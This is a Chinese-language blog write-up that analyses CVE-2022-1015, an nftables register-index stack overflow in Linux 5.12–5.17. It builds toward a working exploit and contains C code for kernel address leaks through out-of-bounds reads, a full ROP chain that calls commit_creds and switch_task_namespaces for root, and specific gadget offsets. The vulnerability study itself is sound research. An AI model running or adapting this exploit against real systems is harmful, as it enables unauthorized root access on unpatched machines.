CVE-2022-1015 nftables栈溢出

咕咕咕,重启kernel

  • 影响版本:5.12~5.17
  • 利用条件:CAP_NET_ADMIN

参考:【kernel exploit】CVE-2022-1015 nftables 栈溢出漏洞分析与利用

漏洞分析

nft_regs

1
2
3
4
5
6
7
8
9
10
11
struct nft_verdict {
u32 code;
struct nft_chain *chain;
};

struct nft_regs {
union {
u32 data[NFT_REG32_NUM];
struct nft_verdict verdict;
};
};

参考下图,1个verdict,4个NFT_REG:

  • nftables最开始使用 16bytes verdict + 4 x 16bytes data reg,序号对应枚举 0 ~ 4
  • 后来使用 16bytes verdict + 16 x 4bytes data reg,序号对应枚举 8 ~ 23
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
enum nft_registers {
NFT_REG_VERDICT,
NFT_REG_1,
NFT_REG_2,
NFT_REG_3,
NFT_REG_4,
__NFT_REG_MAX,

NFT_REG32_00 = 8,
NFT_REG32_01,
NFT_REG32_02,
NFT_REG32_03,
NFT_REG32_04,
NFT_REG32_05,
NFT_REG32_06,
NFT_REG32_07,
NFT_REG32_08,
NFT_REG32_09,
NFT_REG32_10,
NFT_REG32_11,
NFT_REG32_12,
NFT_REG32_13,
NFT_REG32_14,
NFT_REG32_15,
};

nft_parse_register

翻译寄存器下标

1
2
3
4
5
6
7
8
9
10
11
12
static unsigned int nft_parse_register(const struct nlattr *attr)
{
unsigned int reg;

reg = ntohl(nla_get_be32(attr));
switch (reg) {
case NFT_REG_VERDICT...NFT_REG_4: // [1]
return reg * NFT_REG_SIZE / NFT_REG32_SIZE;
default:
return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00; // [2]
}
}
  • 使用NFT_REG:一个reg 4 x 4bytes
  • 使用NFT_REG32:
    • verdict依然使用NFT_REG_VVERDICT即 0,占用 16bytes / 4 个下标
    • NFT_REG32从NFT_REG32_00开始编号

nft_parse_register_load

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)
{
u32 reg;
int err;

reg = nft_parse_register(attr); // [1]
err = nft_validate_register_load(reg, len); // [2]
if (err < 0)
return err;

*sreg = reg; // [3]
return 0;
}
EXPORT_SYMBOL_GPL(nft_parse_register_load);
  • nft_parse_register获取reg(下标)
  • nft_validate_register_load检验下标合法性
  • reg放入*sreg返回
1
2
3
4
5
6
7
8
9
10
11
static int nft_validate_register_load(enum nft_registers reg, unsigned int len)
{
if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE) // [1]
return -EINVAL;
if (len == 0) // [2]
return -EINVAL;
if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data)) // [3]
return -ERANGE;

return 0;
}
  • reg不能为verdict
  • len不能为0
  • 4 x reg + len 不能超过nft_regs.data的范围(0x50)

nft_parse_register_store基本同理

漏洞触发

  • 经过nft_parse_register后,reg的范围:

    • NFT_REG:**{ 0, 4, 8, 12, 16 }**
    • NFT_REG32:**[ 1, 0xfffffffb ]**
  • nft_validate_register_load检查:

    1
    2
    if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data)) // 0x50
    return -ERANGE;

    reg形如 { 0x3f, 0x7f, 0xff } . ffffff . [ 0, 0xfb ] 时会导致溢出,举例 reg = 0xfffffff0, len = 0x40

    • x4:0xffffffc0
    • +len:0
    • 通过检查
  • nft_parse_register_load最终返回:

    • *sreg = 0xf0
    • len = 0x40

    造成越界

nft_bitwise

  • (实际)0x40字节

寄存器范围:

  • low:0x7ffffff0 x 4 = 0xffffffc0,写入sreg最低字节 0xf0(0xffffffc0 + 0x40 = 0 可通过validate检查)
  • high:0x7ffffffb x 4 = 0xffffffec,写入sreg最低字节 0xfb

由下标转化为偏移:

  • low:0xf0 x 4 = 0x3c0
  • high:0xfb x 4 + 0x40 = 0x42c

实际范围:**[ 0x3c0, 0x42c ] bytes**

nft_payload

  • 0xff字节

寄存器范围:

  • low:0x7fffffc1 x 4 = 0xffffff04,写入sreg最低字节 0xc1(0xffffff04 + 0xff = 3 可通过validate检查)
  • high:0x7fffffd4 x 4 = 0xffffff50,写入sreg最低字节 0xd4(0xffffff50 + 0xff = 0x4f 可通过validate检查)

由下标转化为偏移:

  • low:0xc1 x 4 = 0x304
  • high:0xd4 x 4 + 0xff = 0x44f

实际范围:**[ 0x304, 0x44f ] bytes**

exp调试分析

来自👉kernel-exploit-factory

越界范围计算

  • 参数:
    • result:计算结果
    • desired:期望idx
    • min_len:期望最小长度
    • max_len:期望最大长度
  • 其实就是0x3f,0x7f,0xff三种前缀
1
2
3
4
5
6
7
8
9
static int calc_vuln_expr_params(struct vuln_expr_params *result, uint8_t desired, uint32_t min_len, uint32_t max_len)
{
for (int i = 0; i < 3; ++i) {
int res = calc_vuln_expr_params_div(result, desired, min_len, max_len, i);
if (!res)
return 0;
}
return -1;
}
  • 初始化reg值为最大值
  • 计算validate
    • 判断是否溢出,否则break,返回错误值(再往下减就不会溢出了)
  • 判断低字节是否是我们想要的idx
    • 否则递减reg值,goto [2]
  • 计算要造成溢出最小的len
  • 计算最大的len
  • 更新len范围
  • 更新value(+4),这是要填入的reg值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
static int calc_vuln_expr_params_div(struct vuln_expr_params* result, uint8_t desired, uint32_t min_len, uint32_t max_len, int shift)
{
// [1]
uint64_t base_ = (uint64_t)(1) << (32 - shift);
uint32_t base = (uint32_t)(base_ - 1);

if (base == 0xffffffff)
base = 0xfffffffb;

for (;;) {
// [2]
uint64_t computed = (base * 4) & 0xffffffff;
uint64_t max_value = computed + (uint64_t)(max_len);
if (max_value < ((uint64_t)(1) << 32))
break;

// [3]
if ( (base & 0xff) != desired) {
base--;
continue;
}

// [4]
uint32_t len_at_least = ((uint64_t)1 << 32) - computed;
// [5]
uint32_t len_at_most = len_at_least + 0x50;

// [6]
if (min_len > len_at_least)
len_at_least = min_len;

if (max_len < len_at_most)
len_at_most = max_len;

result->max_len = len_at_most;
result->min_len = len_at_least;
// [7]
result->value = base + 4;
return 0;
}
return -1;
}

nftables规则建立

  • table:

    • exploit_table:inet
  • chain:

    • base_chain:output,NFPROTO_IPV4
    • aux_chain:output,NFPROTO_IPV4
  • rules:

    • base_chain:

      Expression Aguments Comment
      payload base = NFT_PAYLOAD_TRANSPORT_HEADER 将packet目标端口写到reg 8
      offset = offsetof(udphdr, dport)
      len = sizeof_field(udphdr, dport)
      cmp op = NFT_CMP_EQ 比较reg 8是否为9999
      sreg = 8 否则发出NFT_BREAK
      data = 999
      payload base = NFT_PAYLOAD_INNER_HEADER 将packet前8字节写入reg 8
      offset = 0
      len = 8
      cmp op = NFT_CMP_EQ 比较reg 8是否为magic
      sreg = 8 否则发出NFT_BREAK
      data = 0xdeadbeef0badc0de
      immediate verdict = NFT_JUMP 调用aux_chain
      chain = aux_chain
    • aux_chain:

      Expression Arguments Comment
      bitwise op = NFT_BITWISE_RSHIFT 利用OOB read内核地址字节
      data = SHIFT_AMT 移位SHIFT_AMT bits写入reg 1
      sreg = OOB_OFFSET
      dreg = 1
      cmp op = NFT_CMP_GT 比较内核字节和COMPARED
      sreg = ADDRESS_OFFSET 小于等于COMPARED发出NFT_BREAK
      data = COMPARED 大于则继续
      immediate verdict = NFT_DROP drop packet

Leak

  • 新建Thread B:leak_handler

    监听SERVER_PORT,重复以下过程

    • 接收消息
    • 回复MSG_OK
  • 当前Thread A:

    使用CLIENT_PORT,do_leak_byte泄漏1-3字节

    • 二分法侧信道计算mid

      • 建立leak rule,对比pos是否为cmp(mid)

        • bitwise目标数据从0x3d4(index 0xf5)开始0x40字节
        • bitwise右移pos x 8 bit,数据放至reg 1
        • 对比cmp和reg 0x15,1字节,小于等于break,大于drop;计算逻辑如下:
          • 泄漏目标偏移0x408
          • 将0x408 - 0x3d4 = 0x34字节复制至reg 1
          • reg 1使用的是NFT_REG,实际index = 1 x 4 = 4
          • 目标字节实际index:4 + 0x34 / 4 = 0x11
          • 实际index 0x11使用NFT_REG32,传入的index = 0x11 + 4 = 0x15
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        int create_infoleak_rule(struct mnl_socket* nl, struct nftnl_rule* r, uint8_t cmp, uint8_t pos, uint16_t family, int* seq, int extraflags)
        {
        struct vuln_expr_params vuln_params;

        // [1]
        if (calc_vuln_expr_params(&vuln_params, 0xf5, 0x40, 0x40))
        error("Could not find correct params to trigger OOB read.");

        // [2]
        uint32_t shift_amt = (pos * 8);
        rule_add_bit_shift(r, NFT_BITWISE_RSHIFT, vuln_params.min_len, vuln_params.value, 1, &shift_amt, sizeof shift_amt);

        // [3]
        rule_add_cmp(r, NFT_CMP_GT, 0x15, &cmp, 1);
        rule_add_immediate_verdict(r, NF_DROP, NULL);

        // [4]
        return send_batch_request(
        nl,
        NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
        NLM_F_CREATE | extraflags, family, (void**)&r, seq,
        NULL
        );
        }
      • client向server发送magic = 0xdeadbeef0badc0de,触发leak rule

      • recv from server

        • 如果recv失败,说明发生DROP,target > mid
        • 如果收到MSG_OK,说明target <= mid
        • 如果收到的消息不是MSG_OK,发生错误

利用思路

nft_payload OOB write

hook input

ROP前

  • 创建一条新的base_chain,ROP劫持的是input的hook

    1
    2
    3
    4
    5
    struct unft_base_chain_param bp;
    bp.hook_num = NF_INET_LOCAL_IN;
    bp.prio = 10;
    if (create_chain(nl, table_name, "base_chain_2", NFPROTO_IPV4, &bp, &seq, NULL))
    error("Failed adding second base chain");

    触发hook时的部分调用栈

  • 写payload规则:把ROP链写到栈上

    • 之前计算的payload可写范围是regs后0x304—0x44f字节

    • 这里覆盖__netif_receive_skb_one_core的返回地址

      不能从返回地址前开始连续覆盖,会破坏canary

    • 目标偏移0x398,下标0xe6,计算得到的vuln_expr_params结构体

      1
      2
      3
      4
      5
      $2 = {
      min_len = 0x68,
      max_len = 0xb8,
      value = 0xffffffea
      }

      可写最大长度为0xb8,也就是23条gadget

    1
    2
    3
    err = install_rop_chain_rule(nl, kernel_base, "base_chain_2", &seq);
    if (err < 0)
    error("[-] Could not install ROP chain");
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    static int install_rop_chain_rule(struct mnl_socket* nl, uint64_t kernel_base, char* chain, int* seq)
    {
    // 1. return address is at regs.data[0xe6]
    struct vuln_expr_params v;
    if (calc_vuln_expr_params(&v, 0xe6, 0x00, 0xff)) // 0xca -> 0xe6
    error("[-] Cannot find suitable parameters for planting ROP chain.");
    // 2. write ROP chain (in the packet) at (0xca - 4)*4 = 0x318
    struct nftnl_rule* r = build_rule("exploit_table", chain, NFPROTO_IPV4, NULL);
    //nftnl_rule_set_u64(r, NFTNL_RULE_HANDLE, INFOLEAK_RULE_HANDLE);
    rule_add_payload(r, NFT_PAYLOAD_INNER_HEADER, 8, v.max_len, v.value);

    /* …… */

ROP过程

softirq

由于利用的是input的hook,所以触发hook时会在软中断的上下文中

先看调用栈,在ip_finish_output2中使能后半部local_bh_enable时会检查是否有未处理的软中断并进行处理

1
2
3
4
5
6
7
8
9
10
11
12
13
void __local_bh_enable_ip(unsigned long ip, unsigned int cnt)
{
/* …… */
if (unlikely(!in_interrupt() && local_softirq_pending())) {
/*
* Run softirq if any pending. And do it in its own stack
* as we may be calling this deep in a task call stack already.
*/
do_softirq();
}
/* …… */
}
EXPORT_SYMBOL(__local_bh_enable_ip);

看看do_softirq的过程

  • 判断是否处于硬中断中

    • 在硬中断处理函数退出时会调用irq_exit处理软中断
    • 或当前软中断被禁用

    没必要处理软中断,直接返回

  • 保持中断寄存器的状态并禁用本地CPU的中断

  • 取得当前CPU上__softirq_pending字段,获取本地CPU上挂起的软中断

  • 如果当前CPU上有挂起的软中断,执行__do_softirq()来处理软中断

  • 恢复中断寄存器的状态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
asmlinkage __visible void do_softirq(void)
{
__u32 pending;
unsigned long flags;

// [1]
if (in_interrupt())
return;

// [2]
local_irq_save(flags);

// [3]
pending = local_softirq_pending();

// [4]
if (pending && !ksoftirqd_running(pending))
do_softirq_own_stack();

// [5]
local_irq_restore(flags);
}

do_softirq_own_stack会在另外的栈上执行__do_softirq,栈顶如下图👇

__do_softirq流程

  • 通过取当前CPU上的__softirq_pending字段,获取当前CPU上挂起的软中断
  • 清空本地CPU的__softirq_pending字段
  • 开启本地CPU的硬中断
  • 循环执行被挂起的软中断处理函数
  • 处理input网络包的net_rx_action在这里执行
  • 禁用本地CPU的硬中断
  • 唤醒ksoftirq内核线程来处理软中断
  • 调整preempt count,这个变量用于记录上下文,比如:软中断上下文、硬中断上下文
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
asmlinkage __visible void __softirq_entry __do_softirq(void)
{
unsigned long end = jiffies + MAX_SOFTIRQ_TIME;
unsigned long old_flags = current->flags;
int max_restart = MAX_SOFTIRQ_RESTART;
struct softirq_action *h;
bool in_hardirq;
__u32 pending;
int softirq_bit;

current->flags &= ~PF_MEMALLOC;

// [1]
pending = local_softirq_pending();

/* …… */

restart:
// [2]
set_softirq_pending(0);
// [3]
local_irq_enable();
// [4]
h = softirq_vec;

while ((softirq_bit = ffs(pending))) {

/* …… */

trace_softirq_entry(vec_nr);
h->action(h); // [5]
trace_softirq_exit(vec_nr);

/* …… */

pending >>= softirq_bit;
}

/* …… */

// [6]
local_irq_disable();

// [7]
pending = local_softirq_pending();
if (pending) {
if (time_before(jiffies, end) && !need_resched() &&
--max_restart)
goto restart;

wakeup_softirqd();
}

account_softirq_exit(current);
lockdep_softirq_end(in_hardirq);
softirq_handle_end(); // [8]
current_restore_flags(old_flags, PF_MEMALLOC);
}
离开softirq上下文

需要模拟pending softirq处理完的流程

  • 调用local_irq_disable禁用硬中断
  • 调用softirq_handle_end调整preempt count

可以通过以下步骤模拟这一过程

  • 利用cli; ret;gadget来执行local_irq_disable
  • 由于softirq_handle_end是内联实现,所以可以直接在__do_softirq中执行,跳过wakeup_softirq事务

提权后再把栈抬至do_softirq栈顶就能优雅地回到syscall上下文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0xffffffff8200019a <+410>:   call   0xffffffff810a8f30 <wakeup_softirqd>
0xffffffff8200019f <+415>: add DWORD PTR gs:[rip+0x7e01f9d6],0xffffff00 # 0x1fb80 <__preempt_count>
0xffffffff820001aa <+426>: mov eax,DWORD PTR gs:[rip+0x7e01f9cf] # 0x1fb80 <__preempt_count>
0xffffffff820001b1 <+433>: test eax,0xffff00
0xffffffff820001b6 <+438>: jne 0xffffffff8200028b <__do_softirq+651>
0xffffffff820001bc <+444>: mov edx,DWORD PTR [rbp-0x4c]
0xffffffff820001bf <+447>: mov rax,QWORD PTR gs:0x1fbc0
0xffffffff820001c8 <+456>: and edx,0x800
0xffffffff820001ce <+462>: and DWORD PTR [rax+0x2c],0xfffff7ff
0xffffffff820001d5 <+469>: or DWORD PTR [rax+0x2c],edx
0xffffffff820001d8 <+472>: add rsp,0x28
0xffffffff820001dc <+476>: pop rbx
0xffffffff820001dd <+477>: pop r12
0xffffffff820001df <+479>: pop r13
0xffffffff820001e1 <+481>: pop r14
0xffffffff820001e3 <+483>: pop r15
0xffffffff820001e5 <+485>: pop rbp
0xffffffff820001e6 <+486>: ret

这里需要伪造rbp,确保rbp-0x58指向的值为0x400100

提权

提权步骤

  • bpf_get_current_task获取当前进程的tack_struct current
  • switch_task_namespaces(current, &init_nsproxy)
  • commit_creds(&init_cred)
  • 抬栈返回syscall上下文

ROP链

之前计算出可以写23条gadget

  • 离开softirq上下文需要4条

    1
    2
    3
    4
    0xffffffff8106a918: cli; ret;
    0xffffffff810006b7: pop rbp; ret;
    0xffffffff822c1df2: <serial_pci_tbl+4850>: 0x0000000040010000
    0xffffffff8200019f: <__do_softirq+415>
  • __do_softirq末尾的调栈需要11条填充

    1
    2
    3
    4
    5
    6
    7
    8
    0xffffffff820001d8 <+472>:   add    rsp,0x28
    0xffffffff820001dc <+476>: pop rbx
    0xffffffff820001dd <+477>: pop r12
    0xffffffff820001df <+479>: pop r13
    0xffffffff820001e1 <+481>: pop r14
    0xffffffff820001e3 <+483>: pop r15
    0xffffffff820001e5 <+485>: pop rbp
    0xffffffff820001e6 <+486>: ret
  • 还剩8条,但提权返回syscall上下文需要11条

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    0xffffffff811ef7e0: 	bpf_get_current_task
    0xffffffff8102bfb1: mov rdi, rax; mov eax, ebx; pop rbx; pop rbp; or rax, rdi; ret;
    0xdeadbeef
    0xdeadbeef
    0xffffffff810223e6: pop rsi; ret;
    0xffffffff8286d940: init_nsproxy
    0xffffffff810d12b0: switch_task_namespaces
    0xffffffff81092100: pop rdi; ret;
    0xffffffff8286db80: init_cred
    0xffffffff810d2690: commit_creds
    0xffffffff8128e2c4: add rsp, 0xd8; pop r12; pop rbp; ret;

可以把提权的gadgets塞进__do_softirq末尾调栈的11条填充里,然后用8条gadget把栈搬过去

由于是自己重编的内核,所以现成的exp里有个gadget没有,自己重搓了一组,思路是一样的

大致思路

  • 通过push rsp再pop将rsp的值存入某个寄存器(如r13)
  • 有可控寄存器rax(如pop rax; ret;)
  • sub r13, rax; ret;
  • 再通过push r13; pop rsp;控制rsp
1
2
3
4
5
6
7
8
0xffffffff814ec181: push rsp; and eax, 0x5c415b0c; pop r13; pop rbp; ret;
0xdeadbeef
0xffffffff81064650: pop rax; ret;
0x68
0xffffffff812847f9: sub r13, rax; mov rax, r13; pop r13; pop rbp; ret;
0xdeadbeef
0xdeadbeef
0xffffffff8164cfba: push rax; add eax, 0x74030000; add al, 0x41; pop rsp; pop rbp; ret;

完整ROP链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
   // 0xffffffff8106a918: cli; ret;
_rop(kernel_base + CLI_OFF);

// make rbp-0x58 point to 0x40010000
// 0xffffffff810006b7: pop rbp; ret;
_rop(kernel_base + POP_RBP_OFF);
// 0xffffffff822c1df2 <serial_pci_tbl+4850>: 0x0000000040010000
_rop(kernel_base + OLD_TASK_FLAGS_OFF + 0x58)

// Cleanly exit softirq and return to syscall context
// ffffffff82000000 T __do_softirq
_rop(kernel_base + __DO_SOFTIRQ_OFF + 415);

// switch_task_namespaces(current, &init_nsproxy)
// ffffffff811ef7e0 T bpf_get_current_task
_rop(kernel_base + BPF_GET_CURRENT_TASK_OFF);
// 0xffffffff8102bfb1: mov rdi, rax; mov eax, ebx; pop rbx; pop rbp; or rax, rdi; ret;
_rop(kernel_base + MOV_RDI_RAX_OFF);
_rop(0xdeadbeef);
_rop(0xdeadbeef);
// 0xffffffff810223e6: pop rsi; ret;
_rop(kernel_base + POP_RSI_OFF);
// ffffffff8286d940 D init_nsproxy
_rop(kernel_base + INIT_NSPROXY_OFF);
// ffffffff810d12b0 T switch_task_namespaces
_rop(kernel_base + SWITCH_TASK_NAMESPACES_OFF);

// commit_cred(&init_cred)
// 0xffffffff81092100: pop rdi; ret;
_rop(kernel_base + POP_RDI_OFF);
// ffffffff8286db80 D init_cred
_rop(kernel_base + INIT_CRED_OFF);
// ffffffff810d2690 T commit_creds
_rop(kernel_base + COMMIT_CREDS_OFF);

// pass control to system call stack
// 0xffffffff8128e2c4 : add rsp, 0xd8 ; pop r12 ; pop rbp ; ret
_rop(kernel_base + 0x28e2c4);

// jump to j1
// 0xffffffff814ec181 : push rsp ; and eax, 0x5c415b0c ; pop r13 ; pop rbp ; ret
_rop(kernel_base + 0x4ec181);
_rop(0xdeadbeef);
// 0xffffffff81064650 : pop rax ; ret
_rop(kernel_base + 0x64650);
_rop(0x68);
// 0xffffffff812847f9 : sub r13, rax ; mov rax, r13 ; pop r13 ; pop rbp ; ret
_rop(kernel_base + 0x2847f9);
_rop(0xdeadbeef);
_rop(0xdeadbeef);
// 0xffffffff8164cfba : push rax ; add eax, 0x74030000 ; add al, 0x41 ; pop rsp ; pop rbp ; ret
_rop(kernel_base + 0x64cfba);

一些尝试

别的Leak方法

nft_payload_set

在看源码的时候发现一个东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct nft_payload_set {
enum nft_payload_bases base:8;
u8 offset;
u8 len;
u8 sreg;
u8 csum_type;
u8 csum_offset;
u8 csum_flags;
};

static const struct nft_expr_ops nft_payload_set_ops = {
.type = &nft_payload_type,
.size = NFT_EXPR_SIZE(sizeof(struct nft_payload_set)),
.eval = nft_payload_set_eval,
.init = nft_payload_set_init,
.dump = nft_payload_set_dump,
.reduce = nft_payload_set_reduce,
};

看源码像是可以把寄存器的值写入packet,nft_payload_select_ops中如果设置了sreg没设置dreg就会返回这个nft_payload_set_ops

1
2
3
4
5
if (tb[NFTA_PAYLOAD_SREG] != NULL) {
if (tb[NFTA_PAYLOAD_DREG] != NULL)
return ERR_PTR(-EINVAL);
return &nft_payload_set_ops;
}

这样我们就可以直接通过将栈上的值写进packet再读取来泄漏地址,不需要侧信道了

exp

  • exploit.c

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    // create_infoleak_rule() —— create rule to leak and compare with cmp
    void create_infoleak_rule(struct mnl_socket* nl, struct nftnl_rule* r, uint16_t family, int* seq, int extraflags)
    {
    struct vuln_expr_params vuln_params;

    // index 0xff -> offset 0x3fc, leak kernel address
    if (calc_vuln_expr_params(&vuln_params, 0xf5, 0x40, 0x40))
    error("Could not find correct params to trigger OOB read.");

    // shift by pos*8 -> the first byte of the register will be leaked
    uint32_t shift_amt = 0;
    // printf("min_len: 0x%x, value:0x%x\n", vuln_params.min_len, vuln_params.value);
    rule_add_bit_shift(r, NFT_BITWISE_RSHIFT, vuln_params.min_len, vuln_params.value, 1, &shift_amt, sizeof shift_amt);

    // 使用payload set将栈上地址写入packet,8字节
    rule_add_payload_set(r, NFT_PAYLOAD_INNER_HEADER, 0, 8, 0x15);

    rule_add_immediate_verdict(r, NF_ACCEPT, NULL);

    send_batch_request(
    nl,
    NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
    NLM_F_CREATE | extraflags, family, (void**)&r, seq,
    NULL
    );
    }
    // do_leak_byte() —— leak 1 byte
    #define INFOLEAK_RULE_HANDLE 4
    void do_leak_bytes(struct mnl_socket* nl, int client_sock, struct sockaddr_in* addr, char* table_name, char* aux_chain_name, uint64_t* p_leak, int* seq)
    {
    char msg[16] = {};
    char result[16] = {};
    *(uint64_t*)msg = MAGIC;

    // 2. Create a rule that replaces the rule with handle INFOLEAK_RULE_HANDLE
    struct nftnl_rule* r = build_rule(table_name, aux_chain_name, NFPROTO_IPV4, NULL);
    nftnl_rule_set_u64(r, NFTNL_RULE_HANDLE, INFOLEAK_RULE_HANDLE); // ???

    // 3. create_infoleak_rule() —— create rule to leak and compare with mid
    create_infoleak_rule(nl, r, NFPROTO_IPV4, seq, NLM_F_REPLACE);
    // 4. trigger the above rule
    sendto(client_sock, msg, sizeof msg, 0, (struct sockaddr*)addr, sizeof *addr);
    // 5. judge the leak value range according to drop/accept the packet
    struct sockaddr_in presumed_server_addr;
    socklen_t presumed_server_addr_len = sizeof presumed_server_addr;

    int nrecv = recvfrom(client_sock, result, sizeof result, 0, (struct sockaddr*)&presumed_server_addr, &presumed_server_addr_len);
    if (!nrecv)
    error("[-] Remote socket closed...");
    else {
    if (!strcmp(result, msg))
    error("[-] Something went wrong...");
    *p_leak = *(uint64_t *)result;
    printf("[+] Leaked bytes: %llx\n", *p_leak);
    }
    }
    // do_leak() —— leak kernel base
    uint64_t do_leak(struct mnl_socket* nl, struct sockaddr_in* addr, char* table_name, char* aux_chain_name, int* seq)
    {
    #define CLIENT_HOST "127.0.0.1"
    #define CLIENT_PORT 8888

    int client_sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

    struct sockaddr_in client_addr;
    inet_aton(CLIENT_HOST, &client_addr.sin_addr);
    client_addr.sin_port = htons(CLIENT_PORT);
    client_addr.sin_family = AF_INET;

    if (bind(client_sock, (struct sockaddr*)&client_addr, sizeof client_addr) < 0)
    error("client bind");

    // 1. set 100ms receive timeout (can probably be lower)
    struct timespec t = {.tv_sec = 0, .tv_nsec = 1000 * 200};
    setsockopt(client_sock, SOL_SOCKET, SO_RCVTIMEO, &t, sizeof t);
    // 2. leak 8 bytes
    uint64_t results;
    do_leak_bytes(nl, client_sock, addr, table_name, aux_chain_name, &results, seq);

    close(client_sock);
    return results;
    }
    // leak_handler() —— polling to receive packet
    int leak_handler(int fd)
    {
    char buf[4096] = {};
    struct sockaddr_in client_addr = {};
    socklen_t client_addr_size = sizeof client_addr;
    size_t conn_id = 0;

    // 把收到的数据发回去,这时候packet的内容已经被修改了
    for (;;) {
    memset(buf, 0, sizeof(buf));
    int len = recvfrom(fd, buf, sizeof buf - 1, 0, (struct sockaddr*)&client_addr, &client_addr_size);
    if (len <= 0)
    error("listener receive failed..\n");

    sendto(fd, buf, sizeof(buf), 0, (struct sockaddr*)&client_addr, client_addr_size);
    }

    close(fd);
    return 0;
    }
  • helpers.c

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    void rule_add_payload_set(struct nftnl_rule* r, uint32_t base, uint32_t offset, uint32_t len, uint32_t sreg)
    {
    struct nftnl_expr* e;
    e = nftnl_expr_alloc("payload");

    nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_BASE, base);
    nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_OFFSET, offset);
    nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_LEN, len);
    nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_SREG, sreg);

    nftnl_rule_add_expr(r, e);
    }

hook output

hook output劫持ip_local_out的返回地址

ROP链就是直接提权的那一段,最后抬栈返回用户态的那条换一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
_rop(kernel_base + BPF_GET_CURRENT_TASK_OFF);       // ffffffff811ef7e0 T bpf_get_current_task
_rop(kernel_base + MOV_RDI_RAX_OFF); // 0xffffffff8102bfb1: mov rdi, rax; mov eax, ebx; pop rbx; pop rbp; or rax, rdi; ret;
_rop(0xdeadbeef);
_rop(0xdeadbeef);
_rop(kernel_base + POP_RSI_OFF); // 0xffffffff810223e6: pop rsi; ret;
_rop(kernel_base + INIT_NSPROXY_OFF); // ffffffff8286d940 D init_nsproxy
_rop(kernel_base + SWITCH_TASK_NAMESPACES_OFF); // ffffffff810d12b0 T switch_task_namespaces

// commit_cred(&init_cred)
_rop(kernel_base + POP_RDI_OFF); // 0xffffffff81092100: pop rdi; ret;
_rop(kernel_base + INIT_CRED_OFF); // ffffffff8286db80 D init_cred
_rop(kernel_base + COMMIT_CREDS_OFF); // ffffffff810d2690 T commit_creds

// pass control to system call stack
// this is offset +0x70 from our rop chain
// target is at +0x168
_rop(kernel_base + 0x20c); // 0xffffffff8100020c: ret;
_rop(kernel_base + 0x7ea9f9); // 0xffffffff817ea9f9: add rsp, 0x198; pop r12; pop rbp; ret;

抬栈返回到inet_sendmsg

TODO

  • 中断相关机制
  • namespace

CVE-2022-1015 nftables栈溢出
http://akaieurus.github.io/2024/08/23/cve-2022-1015/
作者
Eurus
发布于
2024年8月23日
许可协议